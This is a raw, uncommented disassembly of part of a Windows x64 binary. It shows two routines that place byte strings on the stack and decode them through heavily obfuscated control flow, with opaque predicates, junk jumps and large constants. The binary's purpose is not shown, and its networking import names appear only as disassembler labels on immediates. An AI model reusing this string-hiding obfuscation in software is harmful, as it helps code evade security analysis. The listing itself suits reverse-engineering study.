lea rcx, [rbp + 0x161b8fc]
jmp 0x140093a73
lea rcx, [rbp + 0x4c564b]
jmp 0x140093a73
lea rcx, [rbp + 0x7e8]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021ab90]
lea rcx, [rbp + 0x260]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x40]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov r14, rax
mov byte [rbp + 0x838], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x839], 0x7a
mov byte [rbp + 0x83a], Ordinal_79
mov byte [rbp + 0x83b], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x83c], WSAStartup
mov byte [rbp + 0x83d], Ordinal_79
mov byte [rbp + 0x83e], WSAStartup
mov byte [rbp + 0x83f], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x840], 0x3e
mov byte [rbp + 0x841], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x842], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x843], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x844], 0x77
mov byte [rbp + 0x845], 0x50
mov byte [rbp + 0x846], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x847], xmm0
mov dword [rbp + 0x857], eax
movabs r15, 0x1ad961719a301edf
movabs r12, 0xc78a265f06461ebb
movzx ebx, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor esi, esi
movabs rax, 0x320a59f9381aac23
cmp rsi, 0x23
jae 0x1400947af
movzx edi, byte [rbp + rsi + 0x838]
mov rdx, rdi
cmp r8, rsi
ja 0x1400947a3
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140093bc3
lea rcx, [rsi + rax]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0xb
jmp 0x140093c00
je 0x140094721
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009468c
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009465c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400945fe
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400945d6
nop dword [rax]
cmp r9, rsi
ja 0x140094797
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140093c32
lea rcx, [rsi + r15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x19
jmp 0x140093c66
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140094587
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009455f
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009452a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400944f8
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x140094181
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009415c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140094131
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140094108
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400940e6
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400940b0
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140094089
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140094051
lea r8, [r9 + 8]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140094775
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140094753
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140093de3
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140093dca
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140093fb8
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140093f6c
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140093f40
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140093f0d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140093eeb
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140093ec9
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140093e98
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140093e64
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140093e3f
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140093e0f
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140093c80
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x64]
jmp 0x140093c80
lea rcx, [rsi + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x1d
jmp 0x140093c00
movabs rcx, 0x6375726c9610c675
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x33
movabs rax, 0x320a59f9381aac23
jmp 0x140093b8e
movabs rdx, 0x72b6579a614b9eb2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
inc r9
dec rsi
inc rsi
jmp 0x140093b72
movabs rdx, 0xaa8cefb580e0ee26
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0xa
add bl, dl
jmp 0x14009461b
movabs rcx, 0x46783bc310ab95e0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x20
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
movabs rcx, 0xe26387d0a0763d9a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x36
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
movabs rcx, 0x7e4ed3de3040e554
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x4c
jmp 0x1400946ab
movabs rcx, 0x1a3a1febc00b8d0e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x62
jmp 0x1400946db
movabs rcx, 0xb6256bf94fd634c8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x78
movzx eax, byte [rbp + rsi + 0x838]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093b72
movabs rcx, 0xbbf1aa1b3750d819
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x51
mov byte [rbp + rsi + 0x838], bl
inc rsi
jmp 0x140093b72
movabs rdx, 0x57dcf628c71b7fd3
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
add bl, 0x3b
add bl, dl
cmp r9, 0x5a
jb 0x140093f5d
movabs rcx, 0xf01fd94c5aa095f2
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea ebx, [rcx*2 - 0x3c]
jmp 0x1400945a4
movabs rdx, 0x8fb38e43e6b0cf47
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
add bl, 0xf
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400944cf
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14009428f
movabs rdx, 0xec7770625e5b0457
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x61
add bl, dl
cmp r8, 0x61
jae 0x1400944a5
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400943b6
movabs rcx, 0x750d1d3f88b2336
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x7a
jmp 0x140093f8c
movabs rdx, 0xa11848a99d20b93a
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0x838]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093b72
movabs rdx, 0x3d0394b72ceb60f4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x1400946db
movabs rdx, 0x74da2cd24c80b068
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
movabs rcx, 0xacb0c4ed6c15ffdc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 4
jmp 0x14009461b
movabs rcx, 0x489c10fafbe0a796
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x1a
dec rsi
inc rsi
jmp 0x140093b72
movabs rcx, 0xe4875d088bab4f50
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x30
inc r9
dec rsi
inc rsi
jmp 0x140093b72
movabs rdx, 0x8072a9161b75f70a
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x46
add bl, dl
jmp 0x1400945a4
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400941b3
movabs rcx, 0x320a59f9381aac23
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0xb
jmp 0x140093fd8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400941f3
movabs rcx, 0x35b2c2e334603dbe
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x32
movzx eax, byte [rbp + rsi + 0x838]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093b72
inc rax
cmp r8, rax
jne 0x140094221
movabs rcx, 0xfddc2ac814caee4a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 6
jmp 0x1400946ab
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140094255
movabs rdx, 0x2a1a469f656af71c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14009461b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140093fd8
movabs rdx, 0x8e2efa91d5a04f62
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x140093b72
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400942c1
movabs rdx, 0x508c2454ce905c9d
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x4b
add bl, dl
jmp 0x1400945a4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400942f6
movabs rcx, 0x18b58c39aefb0d29
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x1f
dec rsi
inc rsi
jmp 0x140093b72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140094337
movabs rcx, 0xe0def41e8f65bdb5
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0xd
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140094376
movabs rcx, 0x44f3a810ff9b15fb
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x23
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140094018
movabs rcx, 0x7131c3e8503b1ecd
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x65
movzx eax, byte [rbp + rsi + 0x838]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093b72
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400943f6
movabs rcx, 0x6b6585c668c07b7c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x64
movzx eax, byte [rbp + rsi + 0x838]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093b72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140094437
movabs rcx, 0xfbb855902995dc94
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xc
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140094471
movabs rdx, 0xc3e1bd750a008d20
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x140093b72
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140093f8c
movabs rdx, 0x8c0b2559ea6b3dac
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x1400945a4
movabs rdx, 0x54348d3ecad5ee38
add rdx, rsi
movzx eax, dil
and al, dl
movzx ecx, byte [rbp + rsi + 0x838]
sub cl, al
add cl, 0x3c
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14009461b
movabs rcx, 0xb84941313b0b467e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rsi + 0x838]
lea ebx, [rdi + rcx]
sub bl, 0x72
jmp 0x1400946ab
movabs rcx, 0x735599203b703083
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x6b
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
movabs rcx, 0xf40e52dcb3ad83d
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x55
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
movabs rcx, 0x47177d48ead027b1
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x29
dec rsi
inc rsi
jmp 0x140093b72
movabs rcx, 0x7eee15640a657725
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 3
movabs rcx, 0x222a334592bb4215
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x6d
add cl, dil
mov byte [rbp + rsi + 0x838], cl
inc r9
dec rsi
inc rsi
jmp 0x140093b72
movabs rcx, 0xee9b459a4990160d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x5b
dec rsi
inc rsi
jmp 0x140093b72
movabs rcx, 0x8a8691a7d95abdc7
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x71
movabs rcx, 0x863ee73802f09a5b
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x7d
add dil, cl
add dil, bl
mov byte [rbp + rsi + 0x838], dil
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
movabs rcx, 0xc25d29c2f8f00d3b
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x63
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093b72
mov rdi, rdx
movabs rcx, 0x5e4875d088bab4f5
add rcx, rsi
and dl, cl
add dl, dl
movzx ebx, dil
sub bl, dl
add bl, 0x4d
add bl, cl
movabs rcx, 0xea539b2a7325f2a1
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x67
add cl, dil
movzx eax, cl
mov byte [rbp + rsi + 0x838], al
inc r9
add rax, r9
sub rsi, rax
movabs rcx, 0x1c5df523ab409ec4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x5c
add cl, dil
mov byte [rbp + rsi + 0x838], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x838]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093b72
movabs rcx, 0x961f0deba8500469
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x21
movzx eax, byte [rbp + rsi + 0x838]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093b72
movabs rcx, 0xff60be7a25db6e2f
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x49
jmp 0x140093b6e
movabs rcx, 0x9b4c0a87b5a615e9
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x5f
jmp 0x140093b54
lea rcx, [rbp + 0x16bafbc]
jmp 0x1400947b6
lea rcx, [rbp + 0x1065bdf]
jmp 0x1400947b6
lea rcx, [rbp + 0x838]
mov rdx, r14
call fcn.1400353f0
mov byte [rbp + 0x860], Ordinal_46
mov byte [rbp + 0x861], gethostname
mov byte [rbp + 0x862], Ordinal_200
mov byte [rbp + 0x863], Ordinal_200
mov byte [rbp + 0x864], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x865], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x866], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x867], Ordinal_217
mov byte [rbp + 0x868], 0x40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x869], xmm0
mov qword [rbp + 0x879], rax
mov word [rbp + 0x881], ax
movabs rsi, 0x6f6caad99c488cbc
movabs r12, 0xd48b45168d898ccc
movabs r14, 0x679e833ed9af72c4
movabs r15, 0xbe87f911be9c592c
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0x15716ee4a3893f94
cmp rdi, 0x23
jae 0x140095634
movzx ebx, byte [rbp + rdi + 0x860]
mov r10, rbx
cmp r8, rdi
ja 0x140095628
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400948b4
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x6c
jmp 0x1400948f0
je 0x140095592
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400954fa
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400954c4
lea rax, [r9 + 6]
cmp r8, rax
je 0x140095473
lea rax, [r9 + 7]
cmp r8, rax
je 0x140095445
nop
cmp r9, rdi
ja 0x14009561c
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140094920
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x140094970
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400953f3
inc rax
cmp r8, rax
je 0x1400953df
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400953ac
lea rax, [r9 + 4]
cmp r8, rax
je 0x140095389
lea rax, [r9 + 7]
cmp r8, rax
je 0x140095366
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009532d
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140094fa8
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140094f80
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140094f4f
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140094f3b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140094f14
lea rcx, [r9 + 0x200]
cmp r8, rcx
je 0x140094ef1
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140094ebe
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140094e96
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140094e6e
lea rax, [r9 + 3]
cmp r8, rax
je 0x140094e35
lea rax, [r9 + 4]
cmp r8, rax
je 0x140094980
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x1400955f4
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400955cc
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x140094b66
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140094b4c
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x140094b32
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140094dd2
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140094d75
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140094d24
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140094cf1
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140094980
mov r8, rcx
lea r9, [rcx + 0x200]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140094cb8
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140094c91
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x140094c6a
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x140094c37
lea rcx, [r9 + 0x2a]
cmp r8, rcx
ja 0x140094c14
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140094bec
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140094bd8
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140094ba7
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140094b80
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140094980
mov r8, rcx
lea r9, [rcx + 4]
jmp 0x140094980
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140094970
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x1400948f0
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x14009487e
movabs rdx, 0x7b6556cce24465e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x140095411
movabs rdx, 0xd24ecc9fc7314c48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140094862
movabs rdx, 0x29384272ac1e32b0
mov ecx, Ordinal_27
jmp 0x140095454
movabs rdx, 0x8021b845910b1918
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095496
movabs rcx, 0xd70b2e1875f7ff80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x1400954e2
movabs rcx, 0x2df4a3eb5ae4e5e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094862
movabs rdx, 0x84de19be3fd1cc50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x14009551c
movabs rdx, 0xdbc78f9124beb2b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x14009554e
movabs rdx, 0x32b1056409ab9920
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x860]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094862
movabs rdx, 0xbf8abf345fbd924
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0x860], r11b
inc rdi
jmp 0x140094862
movabs rdx, 0x62e221c62ae8bf8c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 2
jb 0x140094d14
movabs rdx, 0xaf7d86fc64ce1948
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140095411
movabs rdx, 0xb9cb97990fd5a5f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x64
jae 0x1400952df
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x1400951fb
movabs rcx, 0x149c2139560f1958
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140094d47
movabs rdx, 0x10b50d6bf4c28c5c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x14009530e
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400950b8
movabs rcx, 0xa52f765fb9c68c9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140094d98
movabs rdx, 0x9c8c0119a9b34c68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x860]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094862
movabs rdx, 0xf37576ec8ea032d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009554e
movabs rdx, 0x4a5eecbf738d1938
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009551c
movabs rcx, 0xa14862925879ffa0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094862
movabs rcx, 0xf831d8653d66e608
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x1400954e2
movabs rdx, 0x4f1b4e382253cc70
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x140095496
movabs rdx, 0xa604c40b0740b2d8
mov ecx, listen
jmp 0x140095454
movabs rdx, 0xfcee39ddec2d9940
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140094862
movabs rdx, 0x53d7afb0d11a7fa8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095411
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140094fd4
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140094df5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095015
movabs rcx, 0xded955b338911978
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
